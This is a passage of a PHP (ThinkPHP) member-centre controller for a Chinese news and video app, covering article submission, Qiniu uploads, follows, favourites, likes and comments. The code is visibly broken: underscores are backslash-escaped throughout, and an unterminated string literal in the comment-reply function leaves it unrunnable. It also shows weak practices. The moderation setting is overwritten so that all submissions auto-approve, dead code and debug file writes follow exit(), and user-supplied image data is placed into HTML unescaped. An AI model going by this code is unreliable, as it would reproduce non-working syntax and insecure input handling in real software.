$fans\_members['data'][$key]['username'] = substr($fans\_member['mobile'], 0, 3) . '\*\*\*\*' . substr($fans\_member['mobile'], 7, 4);

} else if ($fans\_member['email']) {

$fans\_members['data'][$key]['username'] = $fans\_member['email'];

} else {

$fans\_members['data'][$key]['username'] = '用户' . \_userName\_id($fans\_member['id']);

}

$fans\_members['data'][$key]['img'] = $fans\_member['img'] ? \_imgUrl() . $fans\_member['img'] : '/public/style/index/member/img/userimg.gif';

$fans\_members['data'][$key]['follow'] = 0;

$fans\_members['data'][$key]['follow'] = Db::name('member\_guanzhu')

->where('gz\_uid', $fans\_member['id'])

->where('uid', $this->memberId)

->count('id');

}

}

} else {

$fans\_members = [

'total' => 0,

'per\_page' => 6,

'current\_page' => 1,

'data' => [],

];

}

return json($fans\_members);

}

public function records()

{

$money = input('param.money') ? input('param.money') : '';

$type = input('param.type') ? input('param.type') : '';

$data = input('param.data') ? input('param.data') : '';

$pages = input('param.pages') ? input('param.pages') : '';

$where = [];

if ($money) {

if ($money == '-1') {

$where['money'] = 0;

} else {

$where['money'] = $money;

}

}

if ($type) {

$where['type'] = $type;

}

if ($data) {

$where['data'] = $data;

}

$where['uid'] = $this->memberId;

$data = Db::name('member\_records')->where($where)->order('id desc')->paginate($pages)->toarray();

$type = ['money' => '元', 'score' => '积分', 'jingyan' => '经验值'];

foreach ($data['data'] as $k => $v) {

if ($v['money']) {

$data['data'][$k]['text'] = $v['text'] . ' <b id="data1">' . $v['data'] . '</b><b id="data2">' . $v['money'] . '</b> ' . $type[$v['type']];

}

$data['data'][$k]['date'] = date('Y-m-d H:i:s', $v['time']);

}

return json($data);

}

public function articleAdd()

{

$aritlceId = input('id/d');

$data = DB::name('member\_config')->where("name='articleAdd' or name='articleHide' or name='articleScore' or name='articleNum' or name='articleCode' or name='articleJingyan' or name='articleMoney'")->fetchSql(false)->select();

$articleAdd = $data['0']['text'];

$articleHide = $data['1']['text'];

$articleScore = $data['2']['text'];

$articleNum = $data['3']['text'];

$articleCode = $data['4']['text'];

$articleJingyan = $data['5']['text'];

$articleMoney = $data['6']['text'];

unset($data);

if ($articleAdd == '-1') {

return json([

'err' => '文章投稿已关闭',

'errcode' => 501,

]);

}

if ($articleHide == '-1') {

$where['hide'] = 1;

} else {

$where['hide'] = 2;

}

$where['hide'] = 1;

$title = input('param.title', '', 'strip\_tags') ? input('param.title', '', 'strip\_tags') : '';

if ($title) {

$where['title'] = $title;

}

$mychannel = input('param.mychannel/d') ? input('param.mychannel/d') : '';

if ($mychannel == 1 || $mychannel == 2) {

$images = input('param.images') ? input('param.images') : '';

if ($images) {

$where['images'] = $images;

$img = json\_decode(htmlspecialchars\_decode($images), true);

if ($img) {

$where['image'] = $img[0];

}

}

} else if ($mychannel == 3 || $mychannel == 4) {

if ($mychannel == 3) {

if (!$title) {

return json([

'err' => '标题不可为空',

'errcode' => 201,

]);

}

}

$video = input('param.video') ? input('param.video') : '';

$videourl = input('param.videourl') ? input('param.videourl') : '';

$where['qiniu\_video'] = $video;

$where['qiniu\_video\_type'] = 1;

$where['qiniu\_video'] = $video;

$where['video'] = $videourl;

} else {

return;

}

$description = input('param.description', '', 'strip\_tags') ? input('param.description', '', 'strip\_tags') : '';

if ($description) {

$where['description'] = $description;

}

$where['mychannel'] = $mychannel;

$time = time();

$validate = new Validate([

'title' => 'max:80',

'description' => 'max:250',

'mychannel' => 'require|number|in:1,2,3,4',

]);

$validata = [

'title' => $title,

'description' => $description,

'mychannel' => $mychannel,

];

if (!$validate->check($validata)) {

return json([

'err' => $validate->getError(),

'errcode' => 202,

]);

}

if ($articleCode == 1) {

$yzm = input('param.yzm/d') ? input('param.yzm/d') : '';

if ($yzm) {

if (!captcha\_check($yzm)) {

return [

'err' => '验证码错误',

'errcode' => 303,

];

}

} else {

return [

'err' => '请输入验证码',

'errcode' => 201,

];

}

}

if (!$aritlceId) {

$where['update\_time'] = $time;

$where['des'] = 50;

$where['flags'] = 0;

$where['click'] = 0;

$where['create\_time'] = $time;

$where['uid'] = $this->memberId;

$where['weitoutiao'] = $mychannel == 4 ? 0 : 1;

$id = Db::name('article')->insertGetId($where);

if ($where['hide'] == 1) {

if ($articleMoney) {

$aritlcejiance = Db::name('member\_records')->where(['type' => 'money', 'text' => '投稿奖励ID：' . $id, 'data' => '+'])->value('id');

if (!$aritlcejiance) {

\_records($this->memberId, '投稿奖励ID：' . $id, $articleMoney, 'money', '+');

Db::name('member')->where('id', $this->memberId)->setInc('money', $articleMoney);

}

}

if ($articleScore) {

$aritlcejiance = Db::name('member\_records')->where(['type' => 'score', 'text' => '投稿奖励ID：' . $id, 'data' => '+'])->value('id');

if (!$aritlcejiance) {

\_records($this->memberId, '投稿奖励ID：' . $id, $articleScore, 'score', '+');

Db::name('member')->where('id', $this->memberId)->setInc('score', $articleScore);

}

}

if ($articleJingyan) {

$aritlcejiance = Db::name('member\_records')->where(['type' => 'jingyan', 'text' => '投稿奖励ID：' . $id, 'data' => '+'])->value('id');

if (!$aritlcejiance) {

\_records($this->memberId, '投稿奖励ID：' . $id, $articleJingyan, 'jingyan', '+');

Db::name('member')->where('id', $this->memberId)->setInc('jingyan', $articleJingyan);

}

}

\_records($this->memberId, '投稿文章ID：' . $id . '自动审核通过');

$data = ['ret' => '发布成功'];

} else {

\_records($this->memberId, '投稿文章ID：' . $id . '等待审核');

$data = ['ret' => '发布成功，等待审核'];

}

} else {

$article = Db::name('article')->where(['id' => $aritlceId, 'uid' => $this->memberId])->value('id');

if (!$article) {

return [

'err' => '非法修改',

'errcode' => 213,

];

}

Db::name('article')->where('id', $article)->update($where);

$data = [

'ret' => '修改成功',

];

if ($where['hide'] == 1) {

\_records($this->memberId, '投稿文章ID：' . $article . '修改成功，自动审核通过');

$data = [

'ret' => '修改成功',

];

} else {

\_records($this->memberId, '投稿文章ID：' . $article . '修改成功，等待审核');

$data = [

'ret' => '修改成功，等待审核',

];

}

}

return json($data);

}

public function imagesUpload()

{

$file = request()->file('image');

$filePath = $file->getRealPath();

if (!$filePath) {

return json([

'err' => '非法操作',

'errcode' => 211,

]);

}

$ext = pathinfo($file->getInfo('name'), PATHINFO\_EXTENSION);

$geshi = ['jpg', 'png', 'gif', 'jpeg', 'JPEG', 'JPG', 'GIF', 'PNG'];

if (!in\_array($ext, $geshi)) {

return json([

'err' => '图片格式不对，请换张图片吧',

'errcode' => 202,

]);

}

$key = substr(md5($file->getRealPath()), 0, 5) . date('YmdHis') . rand(100, 999999) . '.jpg';

require\_once APP\_PATH . '/../vendor/qiniu/autoload.php';

$db = db::name('member\_config')->where(['type' => 'sdkQiniu'])->cache(\_cache('db'))->select();

$accessKey = $db['0']['text'];

$secretKey = $db['1']['text'];

$auth = new Auth($accessKey, $secretKey);

$bucket = $db['2']['text'];

$token = $auth->uploadToken($bucket);

$uploadMgr = new UploadManager();

list($ret, $err) = $uploadMgr->putFile($token, $key, $filePath);

if ($err !== null) {

return json([

'err' => $err,

'errcode' => 202,

]);

} else {

return json([

'ret' => $ret['key'],

]);

}

exit();

$file = request()->file('image');

$info = $file->validate(['size' => 105678, 'ext' => 'jpg,png,gif,jpeg'])->move(ROOT\_PATH . 'public' . DS . 'uploads' . DS . 'weitoutiao' . DS . 'images');

if ($info) {

$img = '/public/uploads/weitoutiao/images/' . $info->getSaveName();

$img = str\_replace('\\', '/', $img);

return json([

'ret' => $img,

]);

} else {

return json([

'err' => $file->getError(),

'errcode' => 202,

]);

}

}

public function videoUpload()

{

require\_once APP\_PATH . '/../vendor/qiniu/autoload.php';

$db = db::name('member\_config')->where(['type' => 'sdkQiniu'])->cache(\_cache('db'))->select();

$accessKey = $db['0']['text'];

$secretKey = $db['1']['text'];

$auth = new Auth($accessKey, $secretKey);

$bucket = $db['2']['text'];

$pipeline = $db['4']['text'];

$fops = $db['5']['text'];

$auth = new Auth($accessKey, $secretKey);

$savekey = \Qiniu\base64\_urlSafeEncode($bucket);

$fops = $fops . '|saveas/' . $savekey;

$wenurl = config()['appConfig']['url'];

$policy = [

'persistentOps' => $fops,

'persistentPipeline' => $pipeline,

'persistentNotifyUrl' => $wenurl . '/index.php/api/index/notify',

];

$uptoken = $auth->uploadToken($bucket, null, 3600, $policy);

$file = request()->file('video');

$filePath = $file->getRealPath();

$uploadMgr = new UploadManager();

list($ret, $err) = $uploadMgr->putFile($uptoken, null, $filePath);

if ($err !== null) {

return json([

'err' => '失败',

'errcode' => 501,

]);

} else {

return json([

'ret' => [

'persistentId' => $ret['persistentId'],

'key' => $ret['key'],

],

]);

}

exit();

$file = request()->file('video');

$ext = pathinfo($file->getInfo('name'), PATHINFO\_EXTENSION);

$key = 'wtt' . substr(md5($file->getRealPath()), 0, 5) . date('YmdHis') . rand(100, 999999) . "." . $ext;

require\_once APP\_PATH . '/../vendor/qiniu/autoload.php';

$db = db::name('member\_config')->where(['type' => 'sdkQiniu'])->cache(\_cache('db'))->select();

$accessKey = $db['0']['text'];

$secretKey = $db['1']['text'];

$auth = new Auth($accessKey, $secretKey);

$bucket = $db['2']['text'];

$pipeline = 'abc';

$fops = "avthumb/mp4/s/640x360/vb/1.25m";

$savekey = \Qiniu\base64\_urlSafeEncode($key);

$fops = $fops . '|saveas/' . $savekey;

$policy = [

'persistentOps' => $fops,

'persistentPipeline' => $pipeline,

];

$uptoken = $auth->uploadToken($bucket, $key, 3600, $policy);

$filePath = $file->getRealPath();

if (!$filePath) {

return json([

'err' => '非法操作',

'errcode' => 211,

]);

}

$uploadMgr = new UploadManager();

list($ret, $err) = $uploadMgr->putFile($uptoken, $key, $filePath);

if ($err !== null) {

var\_dump($err);

} else {

var\_dump($ret);

}

exit();

$file = request()->file('video');

$filePath = $file->getRealPath();

if (!$filePath) {

return json([

'err' => '非法操作',

'errcode' => 211,

]);

}

$ext = pathinfo($file->getInfo('name'), PATHINFO\_EXTENSION);

$key = 'wtt' . substr(md5($file->getRealPath()), 0, 5) . date('YmdHis') . rand(100, 999999) . "." . $ext;

require\_once APP\_PATH . '/../vendor/qiniu/autoload.php';

$db = db::name('member\_config')->where(['type' => 'sdkQiniu'])->cache(\_cache('db'))->select();

$accessKey = $db['0']['text'];

$secretKey = $db['1']['text'];

$auth = new Auth($accessKey, $secretKey);

$bucket = $db['2']['text'];

$domain = $db['3']['text'];

$token = $auth->uploadToken($bucket);

$uploadMgr = new UploadManager();

list($ret, $err) = $uploadMgr->putFile($token, $key, $filePath);

if ($err !== null) {

return json([

'err' => $err,

'errcode' => 202,

]);

} else {

return json([

'ret' => $ret['key'],

]);

}

file\_put\_contents("video.txt", var\_export($ret, true));

file\_put\_contents("video2.txt", var\_export($err, true));

exit();

if ($info) {

$img = '/public/uploads/weitoutiao/video/' . $info->getSaveName();

$img = str\_replace('\\', '/', $img);

return json([

'ret' => $img,

]);

file\_put\_contents("video.txt", var\_export($img, true));

} else {

return json([

'err' => $file->getError(),

'errcode' => 202,

]);

}

}

public function articleList()

{

$money = input('param.money') ? input('param.money') : '';

$type = input('param.type') ? input('param.type') : '';

$data = input('param.data') ? input('param.data') : '';

$pages = input('param.pages') ? input('param.pages') : '';

$where = [];

if ($money) {

if ($money == '-1') {

$where['money'] = 0;

} else {

$where['money'] = $money;

}

}

if ($type) {

$where['type'] = $type;

}

if ($data) {

$where['data'] = $data;

}

$where['uid'] = $this->memberId;

$data = Db::name('article')->where($where)->order('des desc,id desc')->field('id,title,typeid,style,flags,des,tags,image,click,keywords,description,create\_time,update\_time,content,hide,source,writer')->paginate($pages)->toarray();

$hide = [0 => '隐藏', 1 => '通过', 2 => '审核', 3 => '拒绝'];

foreach ($data['data'] as $k => $v) {

$data['data'][$k]['create\_time'] = date('Y-m-d H:i:s', $v['create\_time']);

$data['data'][$k]['update\_time'] = date('Y-m-d H:i:s', $v['update\_time']);

$data['data'][$k]['hides'] = $hide[$v['hide']];

}

return json($data);

}

public function articleView()

{

$id = input('param.id/d');

if (!$id) {

return json([

'err' => '文章ID不可为空',

'errcode' => 201,

]);

}

$article = Db::name('article')->where(['id' => $id, 'uid' => $this->memberId])->find();

if (!$article) {

return json([

'err' => '文章不存在',

'errcode' => 211,

]);

}

return json(['ret' => $article]);

}

public function favoriteAdd()

{

$aid = input('param.aid') ? input('param.aid/d') : '';

$validate = new Validate([

'aid' => 'require|number',

]);

$validata = [

'aid' => $aid,

];

if (!$validate->check($validata)) {

return json([

'err' => $validate->getError(),

'errcode' => 202,

]);

}

$shou = Db::name('member\_favorite')->where(['uid' => $this->memberId, 'aid' => $aid, 'type' => 0])->value('id');

if ($shou) {

return json([

'err' => '您已经收藏过了，在会员中心查看我的收藏',

'errcode' => 502,

]);

}

$where['uid'] = $this->memberId;

$where['aid'] = $aid;

$where['time'] = time();

$db = Db::name('member\_favorite')->insert($where);

if ($db) {

\_records($this->memberId, '收藏ID：' . $aid);

$data = [

'ret' => '已收藏',

];

} else {

$data = [

'err' => '收藏失败',

'errcode' => 501,

];

}

return json($data);

}

public function favoriteDel()

{

$aid = input('param.aid') ? input('param.aid/d') : '';

$validate = new Validate([

'aid' => 'require|number',

]);

$validata = [

'aid' => $aid,

];

if (!$validate->check($validata)) {

return json([

'err' => $validate->getError(),

'errcode' => 202,

]);

}

$db = Db::name('member\_favorite')->where(['uid' => $this->memberId, 'aid' => $aid, 'type' => 0])->delete();

if ($db) {

\_records($this->memberId, '删除收藏ID：' . $aid);

$data = [

'ret' => '取消收藏',

];

} else {

$data = [

'err' => '取消失败',

'errcode' => 501,

];

}

return json($data);

}

public function payRecords()

{

$status = input('param.status') ? input('param.status') : '';

$type = input('param.type') ? input('param.type') : '';

$sctype = input('param.sctype') ? input('param.sctype') : '';

$pages = input('param.pages') ? input('param.pages') : '';

$validate = new Validate([

'status' => 'in:0,1|number',

'type' => 'in:1,2,3',

'sctype' => 'in:0,1,2|number',

'pages' => 'number',

]);

$validata = [

'status' => $status,

'type' => $type,

'sctype' => $sctype,

'pages' => $pages,

];

if (!$validate->check($validata)) {

return json([

'err' => $validate->getError(),

'errcode' => 202,

]);

}

if ($status) {

$where['status'] = $status;

}

if ($type) {

$where['type'] = $type;

}

if ($sctype) {

$where['sctype'] = $sctype;

}

$where['uid'] = $this->memberId;

$data = Db::name('pay\_record')->where($where)->order('id desc')->field('id,money,status,type,ip,info,sctype,scookies,create\_time')->paginate($pages)->toarray();

$sctype = [0 => '充值', 1 => '消费', 2 => '购买VIP'];

foreach ($data['data'] as $k => $v) {

$data['data'][$k]['sctype'] = $sctype[$v['sctype']];

$data['data'][$k]['create\_time'] = date('Y-m-d H:i:s', $v['create\_time']);

$data['data'][$k]['money'] = $data['data'][$k]['money'] / 100;

}

return json($data);

}

public function guanzhu()

{

$gz\_uid = input('param.gz\_uid/d') ? input('param.gz\_uid/d') : '';

$validate = new Validate([

'gz\_uid' => 'require|number',

]);

$validata = [

'gz\_uid' => $gz\_uid,

];

if (!$validate->check($validata)) {

return json([

'err' => $validate->getError(),

'errcode' => 202,

]);

}

$uid = $this->memberId;

$shou = Db::name('member\_guanzhu')->where(['uid' => $uid, 'gz\_uid' => $gz\_uid])->value('id');

if ($shou) {

return json([

'err' => '您已经关注过了，在我的查看我的关注',

'errcode' => 502,

]);

}

$where['uid'] = $uid;

$where['gz\_uid'] = $gz\_uid;

$where['time'] = time();

$db = Db::name('member\_guanzhu')->insert($where);

if ($db) {

\_records($uid, '关注会员ID：' . $gz\_uid);

$data = [

'ret' => '关注成功',

];

} else {

$data = [

'err' => '关注失败',

'errcode' => 501,

];

}

return json($data);

}

public function guanzhuDel()

{

$gz\_uid = input('param.gz\_uid/d') ? input('param.gz\_uid/d') : '';

$validate = new Validate([

'gz\_uid' => 'require|number',

]);

$validata = [

'gz\_uid' => $gz\_uid,

];

if (!$validate->check($validata)) {

return json([

'err' => $validate->getError(),

'errcode' => 202,

]);

}

$uid = $this->memberId;

$db = Db::name('member\_guanzhu')->where(['uid' => $uid, 'gz\_uid' => $gz\_uid])->delete();

if ($db) {

\_records($uid, '取消关注会员ID：' . $gz\_uid);

$data = [

'ret' => '取消成功',

];

} else {

$data = [

'err' => '取消失败',

'errcode' => 501,

];

}

return json($data);

}

public function guanzhuList()

{

$pages = input('param.pages') ? input('param.pages') : '';

$type = input('param.type') ? input('param.type') : '';

if (!$type) {

$type = 1;

}

$validate = new Validate([

'pages' => 'number',

'type' => 'number|in:1,2',

]);

$validata = [

'pages' => $pages,

'type' => $type,

];

if (!$validate->check($validata)) {

return json([

'err' => $validate->getError(),

'errcode' => 202,

]);

}

if ($type == 1) {

$auid = 'a.gz\_uid';

$where['a.uid'] = $this->memberId;

} else {

$auid = 'a.uid';

$where['a.gz\_uid'] = $this->memberId;

}

$join = [

['\_\_MEMBER\_\_ w', $auid . '=w.id'],

];

$data = Db::name('member\_guanzhu')->alias('a')->join($join)->where($where)->order('a.id desc')->field('w.id,w.img')->fetchSql(false)->paginate($pages)->toarray();

foreach ($data['data'] as $k => $v) {

$user = \_user($v['id']);

$data['data'][$k]['img'] = $user['img'] . "?imageView2/1/w/100/h/100";

$data['data'][$k]['username'] = $user['username'];

$data['data'][$k]['qianming'] = $user['qianming'];

$data['data'][$k]['guanzhu'] = Db::name('member\_guanzhu')->where(['uid' => $this->memberId, 'gz\_uid' => $user['id']])->value('id');

}

return json($data);

}

public function fangke()

{

$pages = input('param.pages') ? input('param.pages') : '';

$validate = new Validate([

'pages' => 'number',

]);

$validata = [

'pages' => $pages,

];

if (!$validate->check($validata)) {

return json([

'err' => $validate->getError(),

'errcode' => 202,

]);

}

$where['f\_uid'] = $this->memberId;

$data = Db::name('member\_fangke')->where($where)->field('uid')->order('id desc')->paginate($pages)->toarray();

foreach ($data['data'] as $k => $v) {

$user = \_user($v['uid']);

$data['data'][$k]['id'] = $user['id'];

$data['data'][$k]['img'] = $user['img'] . "?imageView2/1/w/100/h/100";

$data['data'][$k]['username'] = $user['username'];

$time = Db::name('member\_fangke')->where(['uid' => $v['uid']])->order('id desc')->value('time');

$data['data'][$k]['time'] = "访问时间：" . date('m-d H:i', $time);

$data['data'][$k]['guanzhu'] = Db::name('member\_guanzhu')->where(['uid' => $this->memberId, 'gz\_uid' => $user['id']])->value('id');

}

return json($data);

}

public function fangkejilu()

{

$f\_uid = input('param.f\_uid/d') ? input('param.f\_uid/d') : '';

$validate = new Validate([

'f\_uid' => 'require|number',

]);

$validata = [

'f\_uid' => $f\_uid,

];

if (!$validate->check($validata)) {

return json([

'err' => $validate->getError(),

'errcode' => 202,

]);

}

$where['uid'] = $this->memberId;

if ($this->memberId == $f\_uid) {

exit();

}

$where['f\_uid'] = $f\_uid;

$where['time'] = time();

$db = Db::name('member\_fangke')->insert($where);

if ($db) {

return json([

'ret' => $db,

]);

} else {

return json([

'err' => '操作失败',

'errcode' => 501,

]);

}

}

public function zancai()

{

$aid = input('param.aid/d') ? input('param.aid/d') : '';

$type = input('param.type/d', '');

if (!$type) {

$type = 1;

}

$validate = new Validate([

'aid' => 'require|number',

'type' => 'require|number|in:1,2',

]);

$validata = [

'aid' => $aid,

'type' => $type,

];

if (!$validate->check($validata)) {

return json([

'err' => $validate->getError(),

'errcode' => 202,

]);

}

$uid = $this->memberId;

$zan = Db::name('article\_zan')->where(['aid' => $aid, 'uid' => $uid])->cache(\_cache('db'))->find();

if ($zan) {

if ($zan['zan']) {

$text = '您已经赞过啦！';

} else {

$text = '您已经踩过啦！';

}

return json([

'err' => $text,

'errcode' => 502,

]);

} else {

if ($type == 1) {

$where['zan'] = 1;

$ziduan = 'zan';

} else if ($type == 2) {

$where['cai'] = 1;

$ziduan = 'cai';

}

$where['uid'] = $uid;

$where['aid'] = $aid;

$where['time'] = time();

$where['aid\_uid'] = Db::name('article')->where('id', $aid)->value('uid');

$db = Db::name('article\_zan')->insert($where);

if ($db) {

Db::name('article')->where(['id' => $aid])->setInc($ziduan);

return json([

'ret' => $db,

]);

} else {

return json([

'err' => '操作失败',

'errcode' => 501,

]);

}

}

}

public function ping()

{

$aid = input('param.aid/d') ? input('param.aid/d') : '';

$content = input('param.content', '', 'strip\_tags') ? input('param.content', '', 'strip\_tags') : '';

$pingId = input('param.pingId/d') ? input('param.pingId/d') : '';

$pingId2 = input('param.pingId2/d') ? input('param.pingId2/d') : '';

$validate = new Validate([

'aid' => 'require|number',

'pingId' => 'number',

'pingId2' => 'number',

]);

$validata = [

'aid' => $aid,

'pingId' => $pingId,

'pingId2' => $pingId2,

];

if (!$validate->check($validata)) {

return json([

'err' => $validate->getError(),

'errcode' => 202,

]);

}

$uid = $this->memberId;

$count = Db::name('article\_ping')->whereTime('time', 'today')->where(['uid' => $uid])->count();

if ($count > 100) {

return json([

'err' => '发布失败，每日发布评论限制100条内',

'errcode' => 502,

]);

} else {

if (!$pingId) {

$where['uid'] = $uid;

$where['aid'] = $aid;

$where['time'] = time();

$where['content'] = $content;

$where['aid\_uid'] = Db::name('article')->where('id', $aid)->cache(true)->value('uid');

$db = Db::name('article\_ping')->insert($where);

if ($db) {

Db::name('article')->where(['id' => $aid])->setInc('pingNum');

return json([

'ret' => $db,

]);

} else {

return json([

'err' => '操作失败',

'errcode' => 501,

]);

}

} else {

$ping\_uid = db::name('article\_ping')->where(['id' => $pingId])->value('uid');

$where['ping\_id'] = $pingId;

$where['ping\_uid'] = $ping\_uid;

$where['uid'] = $uid;

$where['aid'] = $aid;

$where['time'] = time();

if ($pingId2) {

$pingId2 = db::name('article\_ping\_xia')->where(['id' => $pingId2])->find();

$user = \_user($pingId2['uid']);

$where['content'] = $content . '

} else {

$where['content'] = $content;

}

$db = Db::name('article\_ping\_xia')->insert($where);

if ($db) {

return json([

'ret' => $db,

]);

} else {

return json([

'err' => '操作失败',

'errcode' => 501,

]);

}

}

}

}

public function pingZan()

{

$aid = input('param.aid/d') ? input('param.aid/d') : '';

$validate = new Validate([

'aid' => 'require|number',

]);

$validata = [

'aid' => $aid,

];

if (!$validate->check($validata)) {

return json([

'err' => $validate->getError(),

'errcode' => 202,

]);

}

$uid = $this->memberId;

$zan = Db::name('article\_ping\_zan')->where(['pingId' => $aid, 'uid' => $uid])->cache(\_cache('db'))->value('id');

if ($zan) {

return json([

'err' => '您已经赞过啦！',

'errcode' => 502,

]);

} else {

$where['zan'] = 1;

$where['uid'] = $uid;

$where['pingId'] = $aid;

$where['time'] = time();

$db = Db::name('article\_ping\_zan')->insert($where);

if ($db) {

Db::name('article\_ping')->where(['id' => $aid])->setInc('zan');

return json([

'ret' => $db,

]);

} else {

return json([

'err' => '操作失败',

'errcode' => 501,

]);

}

}

}

public function pingZan\_xia()

{

$aid = input('param.aid/d') ? input('param.aid/d') : '';

$validate = new Validate([

'aid' => 'require|number',

]);

$validata = [

'aid' => $aid,

];

if (!$validate->check($validata)) {

return json([

'err' => $validate->getError(),

'errcode' => 202,

]);

}

$uid = $this->memberId;

$zan = Db::name('article\_ping\_xia\_zan')->where(['pingId' => $aid, 'uid' => $uid])->cache(\_cache('db'))->value('id');

if ($zan) {

return json([

'err' => '您已经赞过啦！',

'errcode' => 502,

]);

} else {

$where['zan'] = 1;

$where['uid'] = $uid;

$where['pingId'] = $aid;

$where['time'] = time();

$db = Db::name('article\_ping\_xia\_zan')->insert($where);

if ($db) {

Db::name('article\_ping\_xia')->where(['id' => $aid])->setInc('zan');

return json([

'ret' => $db,

]);

} else {

return json([

'err' => '操作失败',

'errcode' => 501,

]);

}

}

}

public function zanList()

{

$pages = input('param.pages/d', '');

$validate = new Validate([

'pages' => 'number',

]);

$validata = [

'pages' => $pages,

];

if (!$validate->check($validata)) {

return json([

'err' => $validate->getError(),

'errcode' => 202,

]);

}

$uid = $this->memberId;

$where['w.uid'] = $uid;

$join = [

['\_\_ARTICLE\_PING\_\_ w', 'a.pingId=w.id'],

];

$data = Db::name('article\_ping\_zan')->where($where)->alias('a')->join($join)->field('a.uid,w.content,a.pingId,w.aid,a.time')->order('a.time desc')->fetchSql(false)->paginate($pages)->toarray();

foreach ($data['data'] as $k => $v) {

$user = \_user($v['uid']);

$data['data'][$k]['img'] = $user['img'] . "?imageView2/1/w/100/h/100";

$data['data'][$k]['username'] = $user['username'];

$data['data'][$k]['time'] = date('m-d H:i', $v['time']);

}

return json($data);

}

public function pingList()

{

$pages = input('param.pages/d', '');

$validate = new Validate([

'pages' => 'number',

]);

$validata = [

'pages' => $pages,

];

if (!$validate->check($validata)) {

return json([

'err' => $validate->getError(),

'errcode' => 202,

]);

}

$uid = $this->memberId;

$where['ping\_uid'] = $uid;

$data = Db::name('article\_ping\_xia')->where($where)->order('time desc')->fetchSql(false)->paginate($pages)->toarray();

foreach ($data['data'] as $k => $v) {

$user = \_user($v['uid']);

$data['data'][$k]['img'] = $user['img'] . "?imageView2/1/w/100/h/100";

$data['data'][$k]['username'] = $user['username'];

$data['data'][$k]['time'] = date('m-d H:i', $v['time']);

$data['data'][$k]['contentPing'] = db::name('article\_ping')->where(['id' => $v['ping\_id']])->value('content');

}

return json($data);

}

public function shoucangList()

{

$pages = input('param.pages/d', '');

$type = input('param.type/d', '');

$validate = new Validate([

'pages' => 'number',

'type' => 'in:0,1|number',

]);

$validata = [

'pages' => $pages,

'type' => $type,

];

if (!$validate->check($validata)) {

return json([

'err' => $validate->getError(),

'errcode' => 202,

]);

}

$uid = $this->memberId;

$where['a.uid'] = $uid;

$where['a.type'] = $type;

$join = [

['\_\_ARTICLE\_\_ w', 'a.aid=w.id'],

];

$config = config()['appConfig'];

$data = Db::name('member\_favorite')->where($where)->alias('a')->join($join)->field('w.id,w.title,w.description,w.mychannel,w.image,w.create\_time,w.source,w.pingNum,w.images,w.videodate,w.uid,w.click,w.weitoutiao,w.zan,w.video,w.qiniu\_video\_type,content')->order('a.time desc')->fetchSql(false)->paginate($pages)->toarray();

foreach ($data['data'] as $k => $v) {

if ($v['image'] && $v['mychannel'] != 3) {

$data['data'][$k]['image'] = \_imgUrl() . $v['image'] . "?imageView2/1/w/172/h/120";

} else {

if ($v['image']) {

$data['data'][$k]['image'] = \_imgUrl() . $v['image'];

} else {

if ($v['mychannel'] == 1) {

} else {

$data['data'][$k]['image'] = \_imgUrl() . '/' . $v['video'] . '?vframe/jpg/offset/2/w/300/h/200';

}

}

}

$data['data'][$k]['create\_time'] = date('m-d H:i', $v['create\_time']);

if ($v['weitoutiao'] == 0) {

$kuandu = "?imageView2/1/w/180/h/124";

if ($v['mychannel'] == 2) {

$images = '';

$data['data'][$k]['pcList'] = json\_decode($v['images'], true);

if ($v['image']) {

$images = '<div class="aui-col-xs-12" style="height:11.5rem"><img style="height:11.5rem" id="ffxiangImgCache" ffxiang-src="' . \_imgUrl() . $v['image'] . '?imageView2/1/w/400/h/280" src="../image/loadingImage.png" /></div>';

} else {

$images = json\_decode($v['images'], true);

$images = $images['0']['img'];

$images = '<div class="aui-col-xs-12" style="height:11.5rem"><img style="height:11.5rem" id="ffxiangImgCache" ffxiang-src="' . \_imgUrl() . $images . '?imageView2/1/w/400/h/280" src="../image/loadingImage.png" /></div>';

}

$data['data'][$k]['images'] = $images . '<em class="aui-iconfont aui-icon-image"> ' . count(json\_decode($v['images'], true)) . ' 图</em>';

} else if ($v['mychannel'] == 3) {

$user = \_user($v['uid']);

if ($user) {

$data['data'][$k]['user']['username'] = $user['username'];

$data['data'][$k]['user']['img'] = $user['img'] . "?imageView2/1/w/100/h/100";

$data['data'][$k]['uid'] = $user['id'];

}

$data['data'][$k]['video'] = \_imgUrl() . $v['video'];

} else if ($v['mychannel'] == 1) {

$contet = [];

preg\_match\_all("/img(.\*?)src=\"(.\*?)\"/", $v['content'], $img);

foreach ($img[2] as $ka => $va) {

if (strstr($va, 'http')) {

$contet[] = $va;

} else if (strpos($va, '/public/uploads/us/') !== false) {

$contet[] = $config['url'] . $va;

} else {

$contet[] = \_imgUrl() . $va;

}

}

$data['data'][$k]['imagesArticleList'] = $contet;

}

} else {

$data['data'][$k]['description'] = \_substr($v['description'], 100, '<a>...[查看全文]</a>');

if ($v['mychannel'] == 3 || $v['video']) {

if ($v['qiniu\_video\_type']) {

$image = \_imgUrl() . '/' . $v['video'] . '?vframe/jpg/offset/2/w/200/h/200';

} else {

if ($v['image']) {

$image = \_imgUrl() . '/' . $v['image'] . '?imageView2/1/w/300/h/200';

} else {

$image = \_imgUrl() . '/' . $v['video'] . '?vframe/jpg/offset/2/w/300/h/200';

}

}

$data['data'][$k]['image'] = $image;

} else {

$kuandu = "?imageView2/1/w/200/h/200";

$data['data'][$k]['images'] = json\_decode(htmlspecialchars\_decode($v['images']), true);

if ($data['data'][$k]['images']) {

$images = '';

$imagesPro = '';

foreach ($data['data'][$k]['images'] as $ks => $vsa) {

if (count($data['data'][$k]['images']) == 1 || count($data['data'][$k]['images']) == 2) {

$col = "aui-col-xs-6";

} else {

$col = "aui-col-xs-4";

}

if (is\_array($vsa)) {

$vsa = $vsa['img'];

}

$imagesPro[] = \_imgUrl() . $vsa;

$images .= '<div class="' . $col . '" tapmode onclick="img(' . $v['id'] . ',' . $ks . ')"><img id="ffxiangImgCache" ffxiang-src="' . \_imgUrl() . $vsa . $kuandu . '" src="../image/loadingImage.png"></div>';

}

$data['data'][$k]['images'] = $images;

$data['data'][$k]['imagesPro'] = $imagesPro;

}

}

if ($v['uid']) {

$user = \_user($v['uid']);

if ($user) {

$data['data'][$k]['user']['username'] = $user['username'];

$data['data'][$k]['user']['img'] = $user['img'] . "?imageView2/1/w/100/h/100";

}

$data['data'][$k]['uid'] = $user['id'];

}

}

count($data['data'][$k]['content']);

}

return json($data);

}

public function jubao()

{

$aid = input('param.aid/d') ? input('param.aid/d') : 0;

$content = input('param.content', '', 'strip\_tags') ? input('param.content', '', 'strip\_tags') : '';

$validate = new Validate([

'aid' => 'number',

'content' => 'require',

]);

$validata = [

